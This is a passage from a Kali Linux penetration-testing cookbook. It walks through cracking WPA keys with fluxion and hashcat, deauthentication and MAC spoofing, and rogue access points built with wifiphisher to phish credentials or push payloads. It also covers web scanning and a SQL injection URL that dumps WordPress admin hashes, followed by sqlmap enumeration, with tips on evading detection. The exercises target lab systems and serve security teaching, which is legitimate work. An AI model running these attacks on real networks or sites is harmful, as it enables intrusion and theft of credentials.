Confirm that the interface wlan0mon is set to type monitor:
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How to do it...
There are two ways in order to get the password for WPA protected networks; we will
use fluxion in the following way:

1. From the command line, ensure that your wireless adapter is in the monitor mode:

root@kali:~/wireless# iw dev
        phy#0
        Interface wlan0
                ifindex 4
                wdev 0x1
                addr 6e:1d:0b:80:36:2b
                type monitor
                channel 13 (2472 MHz), width: 20 MHz (no HT), center1: 2472 MHz
                txpower 20.00 dBm

2. From the command line, we will need to download fluxion from Git:

root@kali:~/wireless# git clone https://github.com/wi-fi-analyzer/fluxion
Cloning into 'fluxion'...
remote: Counting objects: 2646, done.
remote: Total 2646 (delta 0), reused 0 (delta 0), pack-reused 2646
Receiving objects: 100% (2646/2646), 26.13 MiB | 3.44 MiB/s, done.
Resolving deltas: 100% (1444/1444), done.
root@kali:~/wireless#

3. Navigate to the directory that is created (fluxion/) and run the following:

root@kali:~/wireless/fluxion# ./fluxion.sh

In the event that there are missing system dependencies, you can run the
./install/installer.sh file to ensure that all necessary packages are installed.

4. Once all dependencies are met, you will be presented with the following:
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Fluxion start

5. In the next screen, select your wireless adapter.
6. Next, you will be asked to decide which channel to monitor. Since our target SSID

is on channel 11, we will enter 11 and hit Enter.
7. The next screen will cause an additional terminal window to pop up with the

heading Scanning Targets followed by the channel we selected where fluxion will be
scanning for networks. Allow this to run for a few minutes until you find the SSID
you are looking to crack, then click on the X in the upper right to close the scan and
return to the fluxion application.

8. You will now be presented with a list of SSIDs seen in the scanning session, and
we will want to look for those with clients attached. Enter the number of the SSID
from the list and press Enter.

9. With the SSID selected, you will be given the option of how the SSID will be
attacked. In this case, we will select option [1] - FakeAP - Hostapd (Recommended), and
press Enter:

Selecting false portal method

10. You will now be prompted to enter the location of the previously recorded
handshake sessions between clients and the AP. If you do not have any saved from
previous attempts, simply press Enter and we will select the aircrack-ng option on
the next screen.

11. When asked how to capture the handshake, enter 1 for the option to deauth all and
press Enter.

12. This will now launch two additional windows – in the lower right, you will see
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fluxion attempting to send deauth packets, and in the upper right, you will see the
progress. When you see packets between the ESSID and a client, you can go back
to the fluxion window, and select option [1] Check handshake and press Enter:

Capturing client handshakes with fluxion

If you have not successfully captured a handshake, you will have the
option to restart the process to capture one.

13. Fluxion will now look to see if it has an SSL certificate configured to use the login
portal. In most cases, it is acceptable to select Create a SSL certificate and proceed:

||||||||||||||||||||

Hiva-Network.Com

https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/


Certificate selection for captive portal

14. The next screen will select 1 for Web Interface and proceed.
15. The next screen will present you with many different options in terms of portals

that can be presented to the user. We will enter 1 for English and continue.

Fluxion can be very heavily customized to present a portal that is nearly
identical to the one that can be used with guest portals, and so on. This
would require customizing the portals to fit your needs. To learn more
about how this can be done, visit the fluxion Git repository at https://github.co
m/wi-fi-analyzer/fluxion.

16. Fluxion will now launch a series of applications in separate terminals, showing the
statistics of the processes it needs for the attack. It will launch a DHCP server, a
rogue AP (named the same as the target SSID, but not WPA protected), a DNS
server to force all DNS requests to go to the same IP address of the portal, as well
as information on the SSID being generated. MDK3 is running to deauth any
devices trying to connect to the original SSID, to force them to connect to ours:
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Progress of fluxion attack

17. Once a device has been forced to connect to our SSID, they will be redirected to
the captive portal spawned by fluxion. Depending on the option you selected
earlier or based on a customized portal generated by you, they will be redirected
to a portal similar to the following:

Captive portal

18. When the user sees this screen, they will likely enter the WPA password for the
original SSID (in our case, Kali_Five) and click Submit. When they do so, fluxion
will verify the password as being the pre-shared key, and if it is, the fluxion
processes will stop, and you will see a screen similar to the following:
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WPA password identified

19. If you don't feel that it is likely that a network user can be tricked into providing
their credentials, you can also utilize hashcat to perform dictionary or brute force
attacks against the WPA key. To do this, we will use the same data gathering
process we used in the Cracking WEP Encryption section to gather data from the
Kali_Five SSID:

root@kali:~/wireless# airodump-ng -c 11 --bssid OE:18:0A:36:E1:C0 -w KaliCookbook_8.4 wlan0

20. To speed the data collection process and to capture more handshakes, we will send
100 deauth attempts to the client connecting to our BSSID using the following
command line:

root@kali:~/wireless# aireplay-ng --deauth 100 -a OE:18:0A:36:E1:C0 -c 38:59:F9:5F:80:A9 wlan0

21. Allow the airodump-ng terminal to continue in its own terminal.
22. Kali Linux includes a large wordlist that can be used with hashcat. Hashcat is a

versatile password brute-forcing tool that supports a tremendous number of
formats. In a separate terminal, navigate to the following directory, and unzip the
rockyou.txt.gz wordlist:

root@kali:~/wireless# cd /usr/share/wordlists
root@kali:usr/share/wordlists# gunzip rockyou.txt.gz

At the time of this writing, rockyou.txt contained 14,344,392 different
words.
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23. Stop the airodump-ng process, and locate the cap file generated by airodump:

Files generated during airodump-ng proces

24. The file format that is generated by airodump-ng is incorrect for use with hashcat, and
Kali does not currently have the utility needed to convert cap files to hccapx format
that is needed for use with hashcat. This leaves you with two different options:

You can download and compile the cap2hccapx utility from the GitHub
repository at https://github.com/hashcat/hashcat-utils
You can upload the cap file to the online conversion tool located at https://hashcat.
net/cap2hccapx/

25. Working on the premise that you have converted your cap file to hccapx format, using
one of the preceding tools we will now run hashcat against this file using the
rockyou.txt wordlist:

root@kali:~/wireless# hashcat -m 2500 -a 0 KaliCookbook_8.4-01.hccapx /usr/share/wordlists/rockyou.txt

This command line does the following:
-m 2500: Tells hashcat to use the WPA hashing format
-a 0  : Indicates we are doing a dictionary-based attack

26. Once hashcat has determined the WPA key from the hccapx file, it will return the
results in the terminal window. As we found in the fluxion section, the WPA
password is wireless:
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Exploiting guest access
When guest access is offered, often it is on a shared network with the network you are
attempting to infiltrate. There are several different types of wireless guest access
offered, each has its own vulnerabilities:

1. Pre-shared keys: These are generally WEP or WPA PSK's that are intended to keep
unauthorized users or devices to a minimum. Unfortunately, these keys are
generally known by many people and are very rarely changed.

2. Captive portal: The guests connect to a wireless network and are automatically
redirected to a web page that prompts them for credentials. This may or may not be
combined with a pre-shared key.

The most common implementations of guest access include elements of recipes that we
have done in previous sections but are stung together and very frequently are labeled as
guest networks by their SSID.
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Getting ready
In order to complete this recipe, you will need to follow the commands laid out in
section Scanning for wireless networks, placing your wireless network adapter into
monitor mode. 

You can confirm this by running the following:

root@kali:~/wireless# iw dev

Confirm that the interface wlan0mon is set to type monitor:
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How to do it...
To take advantage of environments with guest networks, we will us the following
process:

1. First, we need to see what networks are likely to be guest networks. Start by
running airodump-ng as follows:

root@kali:~/wireless# airodump-ng -w KaliCookbook_8.5 wlan0mon

Searching for guest networks

2. Based on the results of the airodump-ng run, we can see that ESSID Kali_Guest is
visible and is protected with a shared WEP key, and ESSID Kali_Guest1 is open.

3. We will start with the open SSID since nearly all guest implementations use a guest
portal and authenticated sessions are tracked by the MAC address of the device
connecting to the guest network. To start gathering information on the nodes on this
network, we start by running airodump-ng specifically on the BSSID for Kali_Guest1:

root@kali:~/wireless# airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook_8.5 wlan0mon

4. As we found in the previous sections, this will show us devices that are connected
to this network. In this case, we are likely to see a higher number of devices than
normal, as many devices will automatically connect to unauthenticated networks.
Use the macchanger utility to mimic one of these devices to use their authenticated
sessions:

root@kali:~/wireless# ifconfig wlan0mon down
root@kali:~/wireless# macchanger -m 7A:DA:38:06:5B:B2 wlan0mon
root@kali:~/wireless# ifconfig wlan0mon up

5. To start cracking the WEP key for the SSID Kali_Guest, let's kick off airodump-ng to
start gathering packets:

root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook_8.5 wlan0mon
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Gathering information to crack WEP key on guest network

6. As we did in the Cracking WEP Encryption section, we gather enough data packets
to be able to extract the WEP key to get access to the guest network. Refer to
section Cracking WEP Encryption (if WEP is used) or section Cracking
WPA/WPA2 Encryption (if WPA is used) for more detailed steps on gaining access
to these types of networks.
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Rogue AP deployment
In this recipe, we will use wifiphisher to create a rogue, and capture username and
passwords from a captive portal that simulates corporate portals.

Since we have covered creating rogue APs and forcing deauthentications in section
Cracking WEP Encryption (with airodump-ng/aircrack-ng) and Obtaining WPA/WPA2 Keys
(with fluxion), this recipe will focus on the creation of access points that encourage
open use and have the ability to gather credentials or deliver malicious payloads.
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Getting ready
The tool used in this recipe is not included in the base installation of Kali Linux and
must be installed from the command line with the following command:

root@kali:~/wireless# apt-get install wifiphisher
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How to do it...
To create a rogue access point with wifiphisher, the following process will be used:

1. Once installed, we will launch wifiphisher with the following command that will
disable jamming (-nJ) and create a SSID named Free Wifi:

root@kali:~/wireless# wifiphisher -nJ -e 'Corporate'

2. Once executed, you will be asked to make a selection as to the process that will be
in place once a victim connects to our SSID:

 wifiphisher phishing options

3. Select Browser Connection Reset by entering 1 and hitting Enter.

4. We have now created an open wireless SSID that appears as though it is a service
that can be used for many different purposes. In this scenario, when connections
are made to this SSID, the user's browser is automatically redirected to the HTTP
server running on our Kali Linux system and the following page is displayed:
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Captive portal redirect, using the browser redirect template

To add an additional layer of realism to any AP you set up, you can define
the use of a WPA/WPA2 pre-shared key by adding the following to the
command line: -pK MyKeyHere. This is particularly useful when combining the
oath-login with the PSK of a shared network, like guest networks or
corporate networks where the key is static, but well known.

5. Stop the running wifiphisher session by pressing CTRL-C, and once it has stopped,
run the following from the command line:

root@kali:~/wireless# wifiphisher -nJ -e 'Free WiFi' -p oauth-login

Unlike the previous step, we have defined the phishing template from the
command line. Default and customized templates can be called from the
command line, allowing for the generation of automated scripts to kick off
new campaigns.

6. When you connect to this SSID, you will be redirected to a splash page that will
appear to be asking for you to authenticate to this network using your Facebook
credentials:
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Gathering facebook credentials with captive portal

7. Again terminating the previous session, we will now demonstrate the next
example, by running the following:

root@kali:~/wireless# wifiphisher -nJ -e 'Asus' -p firmware-upgrade

8. Running this command will give you the ability to show a screen such as this, that
prompts the user for the WPA password for the network they believe they are
connected to (as opposed to our rogue network):
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Firmware upgrade captive portal example

9. Finally, terminating this session and launching wifiphisher with the following
command will kick off a new SSID that will not only redirect them to our portal,
but also give us the ability to convince the user to download the payload of our
choice, under the guise of a plugin update:

root@kali:~/wireless# wifiphisher -nJ -e 'Guest' -p plugin-update

10. Unlike the other sessions we initiated, the plugin-update template allows us to
define a payload to encourage the user to download and install, posing as an
update for a browser plugin. After being launched, wifiphisher will require the path
to the file you wish to define as the payload. Once you have provided that, it will
redirect users to a page that looks very much like this:

||||||||||||||||||||

Hiva-Network.Com

https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/


Plugin update phishing portal

Since wifiphisher uses configuration files for its templates, you can create
your own portals as necessary. Review the documentation on the tool's
homepage at https://wifiphisher.org/.
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Using wireless networks to scan internal
networks
Access to a network is the ultimate goal, and the use of wireless networking means that
this access is likely easier to gain than through remote access/VPN or through physical
access to a network port. Using the recipes in this section, it is highly likely that once
you have gained access to the network, you will have done so with the credentials of an
authorized user. The next question is: where can you go from here?

In this recipe, we will use some of the tools that we have learned in preceding sections
to help identify ways for us to extend the access we have gained so far.
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Getting ready
This recipe is built upon the assumption that you have already gained access to the
target wireless network, and that you have IP connectivity, preferably through DHCP.
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How to do it...
Once connected to a wireless network, you can use the following process to identify
additional targets and vulnerable systems:

1. Based on the IP information you have gained so far, look to see if there are any
discernible patterns in the network address schemes. An example of this is, you
have been issued an IP address in one subnet, but infrastructure services such as
DHCP and DNS reside in different subnets. Those subnets likely contain servers
containing domain user information such as Active Directory (AD),
Lightweight Directory Access Protocol (LDAP), centralized data repositories
such as database servers, application servers, and so on. To view the information
received in DHCP requests do the following:

root@kali:~/wireless# cat /var/lib/dhcp3/dhclient.leases
lease {
  interface "wlan0mon";
  fixed-address 192.168.56.106;
  option subnet-mask 255.255.255.0;
  option dhcp-lease-time 86400;
  option routers 192.168.56.1;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.56.10;
  option domain-name-servers 192.168.56.10;
  option dhcp-renewal-time 43200;
  option dhcp-rebinding-time 75600;
  option host-name "kalicookbook.local";
  renew 0 2017/8/9 05:17:36;
  rebind 0 2017/8/9 15:06:37;
  expire 0 2017/8/9 18:06:37;
}

2. In the preceding case, you can see that in the client network we received a DHCP
address from the 192.168.56.0/24 network, and DNS and DHCP are located in the
same network. In many cases, the user network and server network would be
separate from each other, and that would have given us two possibilities:

1. The user environment is likely less secure, likely a better target to start in to
gain credentials, and so on.

2. The server environment is on a separate network and could have access
controls in place such as firewalls, access control networks, and so on. Those
controls are likely bound to services used by authenticated users, so
credentials are likely a better place to start.

3. From the command line, run zenmap. The zenmap is a graphical frontend to Nmap, that
makes the gathering and visualization of results easier. After launching zenmap, enter
the following scan options and start the scan. The results should look similar to the
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following screen:

Network hosts found with zenmap

4. Once complete, click on Hosts Viewer to get a sorted, more detailed view of the
services and applications running on the hosts in this environment. If we select
192.168.56.10 on the left, we can see that is it likely a Windows 2008 domain
controller:

Windows domain controller located with zenmap

5. With a good target located, let's re-open OpenVAS, the vulnerability scanning
platform we set up in Chapter 3, Vulnerability Analysis. Start the OpenVAS server
service from the command line by entering the following:
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root@kali:~/wireless# openvas-start

6. Open a browser, navigate to the address of your OpenVAS installation, and kick off
a new scan task:

New OpenVAS task: Quick Scan of 192.168.56.10

7. Once complete, review the results to determine if additional steps are necessary.
For more detailed recipes on using OpenVAS and other vulnerability scanning
tools, refer to Chapter 3, Vulnerability Analysis.
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Web and Database Specific Recipes
In this chapter, we will cover the following topics:

Creating an offline copy of a web application
Scanning for vulnerabilities
Launching website attacks
Scanning WordPress
Hacking WordPress
Performing SQL injection attacks
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Introduction
Evaluating the security of web applications and databases requires a unique set of tools
that can be leveraged against them. Websites and databases are highly targeted
environments due to the amount of visibility they have and the information they contain.
These could be for publicly accessible sites or intranets. In the event that a web
application is compromised, it is highly likely that it may then be used as a jumping off
point for further network penetration.
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Creating an offline copy of a web
application
One of the first things that you should do is create an offline copy of the target site. This
will allow you to analyze the contents of information such as how forms are submitted,
the directory structure of the application, and where files are located. Aside from the
technical details of the site's structure, comments, and inactive code can also give you
an insight into additional areas of interest. This information can be used to craft site-
specific attacks in subsequent portions of this chapter. By creating an offline copy of the
site in question, you also limit the number of times that you are touching the site,
minimizing the number of records generated in logs, and so on.
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Getting ready
In order to perform an offline copy of a target site, we will need the following:

Network access to the target system
BurpSuite free edition (installed by default on Kali Linux)
OWASP-BWA installed as required in the recipe, Installing OWASP-BWA in Chapte
r 1, Installing Kali and the Lab Setup 
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How to do it...
To create an offline copy of the analysis, we will use the following recipe:

1. Launch BurpSuite from the Applications | 03 - Web Application Analysis menu:

Launching BurpSuite

2. If this is the first time it is being launched, you will be presented with a license
agreement – please read this before clicking I Accept to continue.

3. Since we are using the free version, we will only be able to use the Temporary
Project option, so click on Next.

4. For the purposes of this demonstration, we will use the BurpSuite defaults. Click
on Start Burp to continue.

The default values for BurpSuite should be changed to something more
appropriate if you are going to use this platform for connections other than
your testing server, as these values are known, and are likely to trigger
intrusion detection systems.

5. Once BurpSuite starts, you will see a number of tabs:
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 Initial view of BurpSuite

6. Select the main tab Proxy, and be sure that intercept is off is displayed as follows.
If it is enabled, clicking on that link will toggle the status to off:

Disable Intercept

7. Your browser should next be configured to use BurpSuite as its proxy. To do this,
open Firefox ESR, and navigate to the Preferences | Advanced | Network |
Connections | Settings menu. You will configure your proxy settings as follows:
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Browser proxy configuration

8. Once Proxy settings are complete, use Firefox to navigate to the IP address of your
OWASP-BWA instance. From here, navigate through some of the application
options to familiarize yourself with the layout.

Since BurpSuite is running as your browser's proxy, you may see SSL
certificate errors – this is to be expected.

9. Return back to your BurpSuite app, and review the entries in the Proxy | HTTP
history tab. Locate the initial request to your OWASP-BWA instance, and highlight
it. Right-click on this entry, and select Add to scope:
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Adding OWASP-BWA to target scope

You will see different numbers in the first column, as this is generated
sequentially. Sort on the URL column to locate the / request. Once
specified as being in scope, BurpSuite will only record the proxy history
for this host.

10. To review the scope configuration, navigate to Target | Scope, select the host entry
for your OWASP-BWA instance, and select Edit. You can see there are several
different options that you can select here, including the use of regular expressions
to help make target selection easier. Since our example is a single host, we will not
change this option and will leave the target port as 80:
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OWASP scope configuration

11. The generation of the offline copy requires certain information prior to use.
Navigate to Spider | Options, and review the available options. We will leave them
as the default for now:
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BurpSuite spider options

12. You can check on the progress of the analysis by visiting Spider | Control, where
you will see the current status:
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13. Once the spider starts collecting data, it can be found in the Target | Site map
section of BurpSuite. Here you can see all requests made through the proxy, with
the hosts within the target scope in bold:
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Site map details of target web application

14. You can now review the contents of, not only the application documents
themselves, but also all requests sent to and received from the server. By
reviewing this, as well as the site map information, you can begin identifying
additional areas of inspection.

You will notice traffic identified by BurpSuite that is not part of the target
scope in the site map. This is due to the fact that all traffic being generated
by the browser is being proxied, and therefore added to the site map. The
non-target hosts are listed but are greyed out – if you want to add
additional hosts to the scope, right-click on the host in question, and select
Add to scope. Once added, the spider will include this host in the
analysis.
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There's more...
The information gathered by BurpSuite spider is extensive and a detailed analysis of all
data gathered would require a book by itself. For more information on how to leverage
this data to a greater level of detail, refer to the PortSwigger site at https://support.portswigger.
net/.
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Scanning for vulnerabilities
Web applications pose a particular risk to organizations as they are accessible to the
internet, and therefore can be accessed by anyone. If you consider this carefully,
untrusted external entities are being permitted access to applications and systems within
the organization's security perimeter, making them an excellent jumping off point for
further infiltration, once compromised.

We will now move to the next phase of our approach, using OWASP-ZAP, we will scan
the target system for vulnerabilities that can potentially be exploited.

One of the key reasons we perform on an offline copy of a target system is
to better craft your tool's configuration to minimize the noise generated by
the scanning process. With the exceptional focus on security in the industry
as a result of high-profile breaches, many corporations are implementing
intrusion detection/prevention measures that would look for the signatures
of attacks against their systems. These systems, if triggered, can prevent
you from any access whatsoever. Use with caution.
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Getting ready
To successfully complete this section, we will need the following:

Installation and configuration of OWASP-BWA as highlighted in the
recipe, Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup 
Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
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How to do it...
To execute a vulnerability scan of a target system using OWASP-ZAP, we will perform
the following tasks:

1. From the Kali Linux Applications menu, navigate to Applications | 03 - Web
Application Analysis | owasp-zip to launch the application.

2. Once prompted for the type of session persistence, select persistence based on the
current timestamp:

Selecting session persistence

3. In the upper left, change the scan type from Safe Mode to ATTACK Mode:

Changing OWASP-ZAP script mode

4. Once you have done this, we will enter the IP address of the OWASP-BWA device
into the input field in the Quick Start tab and click Attack. This will start the
scanning process:
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Initiating OWASP-ZAP scan

5. To monitor the progress of a scan, under the Active Scan tab, click on the icon to
the immediate left of the progress bar:

 Launching progress monitor

6. The details of the progression of the scan, as well as the components completed,
can be seen in the pop-up window. This can be left open and on a separate area of
your desktop to monitor progress, as this may take some time to complete:
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Detailed progress

7. As the scan progresses, you will see the following panes:

Scan in progress - OWASP-ZAP

Some additional information on the panes seen in the preceding image:
Upper Left: Site map created during the scan of the target site
Upper Right: The Request and Response tabs show communications
between the scanner and web server
Lower Left: Open the Alerts tab, and you can see the vulnerabilities that
are being discovered
Lower Right: Details of the Alerts selected from the lower left pane

8. In order to save the results as a detailed report, that we can reference at a later
time from the Report menu, select Generate HTML Report, and save it to
/root/Chapter9/owasp-zap.html:
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Saving OWASP-ZAP scan results

9. Once saved, open it in Firefox and review the results. We will be using the
information contained in this report in subsequent recipes:
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There's more...
Since traffic to and from internet sites is easily traced, you may consider running your
scans through alternate connection paths. Some examples of this are:

Tor network, using the proxy chains package
Virtual Private Network (VPN)

SSH tunneling
3rd party VPN services

Anonymizing proxies

Each of these come with their own benefits and risks, so consider the best balance of
performance, ease of use, and accuracy of results when considering one of these
options.
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Launching website attacks
As mentioned in the previous sections, web servers represent a network device that
resides on both the internal and external networks and can be used as a pathway to
internal segments if successfully compromised. In addition to being a jumping off point
to the internal network, web applications frequently handle sensitive data such as
customer data, payment information, or medical records – all of which are valuable.

Focusing on the web applications themselves, we will use Vega to perform a deeper
analysis on the install applications to identify possible opportunities.

We will be focusing on the web applications specifically since we cover
platform and daemon vulnerabilities in Chapter 3, Vulnerability Analysis
and Chapter 4, Finding Exploits in the Target.
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Getting ready
To successfully complete this section, we will need the following:

Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup
Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
Installation of Vega from the command line as follows:

root@kali:~/Chapter9#apt-get install vega
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How to do it...
In this recipe, we will do the following:

1. From the command line, launch Vega, and add our OWASP-BWA instance as a new
scan. When presented with the options dialog box, select all available checks, and
start the scan.

2. As the scan progresses, we will see more alerts generated in the Vega interface:

Vega scan overview

3. Selecting an alert in the left column will give you more details on the right, in this
case, a remote shell injection vulnerability:
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Remote shell injection vulnerability
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Scanning WordPress
WordPress is one of the most popular content management systems (CMS) used on
the internet and due to its popularity and the ability for programmers to create custom
components that integrate with WordPress, it presents a potentially attractive target. 

Because of this popularity, there are many tools designed to scan for these
vulnerabilities. We will be using one of these tools, WPScan.
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Getting ready
To successfully complete this section, we will need the following:

Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup
Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
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How to do it...
The following steps are needed in order to perform a scan against a WordPress site
using WPScan:

1. From the command line, we will run the following to make sure that we have the
latest database downloaded and installed:

root@kali:~/Chapter9# wpscan --update

2. Once complete and updated, we now can use WPScan to start evaluating the
security of our target WordPress site (located on our OWASP-BWA image):

root@kali:~/Chapter9# wpscan --url http://192.168.56.100/wordpress/ --enumerate vp,vt --log wpscan.log

3. The preceding command runs WPScan against our WordPress instance on our
OWASP-BWA host and looks for known vulnerable plugins (vp) and known
vulnerable themes (vt), and saves the information to wpscan.log.

When scanning a remote WordPress host, it is good practice to run through
different user agents to observe if the target system returns different results
based on this change. You can instruct WPScan to use random user agents
by including the -r switch in the command line.

4. The resulting log file can now be reviewed to see what vulnerabilities are present
on the target. We can get a quick list of the vulnerabilities by running the following:

root@kali:~/Chapter9# cat wpscan.log | grep Title:
[!] Title: Wordpress 1.5.1 - 2.0.2 wp-register.php Multiple Parameter XSS
[!] Title: WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass
[!] Title: WordPress 1.5.1 - 3.5 XMLRPC Pingback API Internal/External Port Scanning
[!] Title: WordPress 1.5.1 - 3.5 XMLRPC pingback additional issues
[!] Title: WordPress 2.0 - 3.0.1 wp-includes/comment.php Bypass Spam Restrictions
[!] Title: WordPress 2.0 - 3.0.1 Multiple Cross-Site Scripting (XSS) in request_filesystem_credentials()
[!] Title: WordPress 2.0 - 3.0.1 Cross-Site Scripting (XSS) in wp-admin/plugins.php
[!] Title: WordPress 2.0 - 3.0.1 wp-includes/capabilities.php Remote Authenticated Administrator Delete Action Bypass
[!] Title: WordPress 2.0 - 3.0 Remote Authenticated Administrator Add Action Bypass
[!] Title: WordPress <= 4.0 - Long Password Denial of Service (DoS)
[!] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)
[!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
[!] Title: myGallery <= 1.4b4 - Remote File Inclusion
[!] Title: Spreadsheet <= 0.6 - SQL Injection

5. To get more details on the vulnerabilities located in this report, view the full log
file, as it contains URLs to online resources with more detailed information. For
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example, our installation is vulnerable to the following:

[!] Title: Spreadsheet <= 0.6 - SQL Injection
    Reference: https://wpvulndb.com/vulnerabilities/6482
    Reference: https://www.exploit-db.com/exploits/5486/

6. The information in this scan will be used in the next section, where we will use
these vulnerabilities to take control of our WordPress installation.
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Hacking WordPress
With information on WordPress vulnerabilities available, and with the increase of
useful tools to validate the security of WordPress installations, we will now use that
information to perform an attack on a WordPress installation targeting the administrative
user through an identified SQL injection vulnerability in a third party plugin.

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Getting ready
To successfully complete this section, we will need the following:

Installation and configuration of OWASP-BWA as highlighted in the
recipe Installing OWASP-BWA of Chapter 1, Installing Kali and the Lab Setup 
Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
Results from the WPScan run in the section Scanning WordPress
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How to do it...
To gain access to the remote WordPress installation, we will do the following:

1. Based on the previous use of WPScan, we see that there is a SQL injection
vulnerability in the Spreadsheet plugin. Unfortunately, in our WPScan, we were
unable to enumerate users, so we will use this vulnerability to get the admin user
information for this installation.

2. From a command line, we will use the searchsploit tool to locate ways to exploit
this vulnerability:

root@kali:~/Chapter9# searchsploit WordPress Plugin Spreadsheet 0.6 - SQL Injection

3. This will present us with information, indicating that exploit information is
available in the file /usr/share/exploitdb/platforms/php/webapps/5486.txt. When we open
this file, it contains an example URL that will allow us to pull the admin info:

root@kali:~/Chapter9# more /usr/share/exploitdb/platforms/php/webapps/5486.txt
===========================================
There's standart sql-injection in Spreadsheet <= 0.6 Plugin
# Author : 1ten0.0net1
# Script : Wordpress Plugin Spreadsheet <= 0.6 v.
# Download : http://timrohrer.com/blog/?page_id=71
# BUG :  Remote SQL-Injection Vulnerability
# Dork : inurl:/wp-content/plugins/wpSS/
Example:
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
===========================================
Vulnerable code:
ss_load.php
    $id = $_GET['ss_id'];
....
ss_functions.php:
function ss_load ($id, $plain=FALSE) {
....
    if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....
==> Visit us @ forum.antichat.ru
# milw0rm.com [2008-04-22]

4. If we take the example URL from the preceding example and adapt it to our
directory structure, we get the following:

http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain

5. Taking the preceding URL, we enter that into our Firefox browser and access the
page. Due to the SQL injection, we are presented with the user (admin), hashed
password, and email address for the user with the ID of 1:
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Admin user information obtained through vulnerable plugin

6. Let's add that to a file so that we can run it through hashcat to get the password:

root@kali:~/Chapter9# echo 21232f297a57a5a743894a0e4a801fc3 > wp_admin.txt

7. It is important to note that in WordPress versions 2.4 and prior, the password was
hashed as an unsalted MD5 hash, so we will need to tell hashcat that the format is
MD5 (-m 0), to use the hash we saved into wp_admin.txt, and to use the local copy of
rockyou.txt dictionary:

hashcat -m 0 wp_admin.txt ./rockyou.txt

8. Hashcat will now run through rockyou.txt and display the following, including the
password for the admin account (in this case, it is admin):

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 21232f297a57a5a743894a0e4a801fc3
Time.Started.....: Thu Aug 31 22:25:21 2017 (0 secs)
Time.Estimated...: Thu Aug 31 22:25:21 2017 (0 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 3059.9 kH/s (0.24ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 20480/14343297 (0.14%)
Rejected.........: 0/20480 (0.00%)
Restore.Point....: 19456/14343297 (0.14%)
Candidates.#1....: admin -> admin
HWMon.Dev.#1.....: N/A

9. With the admin user account password, we can now do as we please after logging
into the WordPress instance, including add/remove accounts, adding/removing
plugins, uploading files of our choice, and so on.

In this case, we were able to get the admin user's hashed password
through a SQL injection, which is preferable to brute force, as doing so
can lock accounts and alert the target system owners. WPScan has
provisions to do remote brute force attacks and will attempt to locate
plugins designed to prevent brute force attacks.
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Performing SQL injection attacks
Nearly all model web applications use an underlying database for storage of everything
from application configuration, localization, user authentication credentials, sales
records, patient records, and more. The information is read from and written to by the
web applications that face the internet.

Unfortunately, web applications often are written in a way that allows remote users to
insert their own commands into input forms, giving them the ability to change how the
application behaves, and potentially giving access directly to the database itself.
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Getting ready
To successfully complete this section, you will need the following:

Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup
Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
Scan results from OWASP-ZAP in the recipe, Scanning for Vulnerabilities of Chapte
r 9, Web and Database Specific Recipes
You will need to log into the OrangeHRM application at
http://192.168.56.100/orangehrm/ with the user/password admin, and enter some user
information, as the database that ships with OWASP does not include this
information
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How to do it...
Starting with the results from the OWASP-ZAP scan from Scanning for vulnerabilities,
we will do the following:

1. As seen in Hacking WordPress, a SQL-injection attack allowed us to extract the
admin user information that was later cracked with hashcat. We will be taking that
single vulnerability and using it to go beyond just the WordPress database.

2. To start, we need to identify the underlying database. Open a terminal, and at the
command line enter the following:

root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1"

3. This will provide the following information, indicating it is MySQL server 5 or
higher:

[03:00:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0

4. Next, we need to see what other databases are on the target system. From the
command line, run the following command:

root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1" --dbs

5. This will dump a list of all databases accessible through this SQL injection vector:

[03:04:37] [INFO] fetching database names
[03:04:37] [INFO] the SQL query used returns 34 entries
available databases [34]:
[*] .svn
[*] bricks
[*] bwapp
[*] citizens
[*] cryptomg
[*] dvwa
[*] gallery2
[*] getboo
[*] ghost
[*] gtd-php
[*] hex
[*] information_schema
[*] isp
[*] joomla
[*] mutillidae
[*] mysql
[*] nowasp
[*] orangehrm
[*] personalblog
[*] peruggia
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[*] phpbb
[*] phpmyadmin
[*] proxy
[*] rentnet
[*] sqlol
[*] tikiwiki
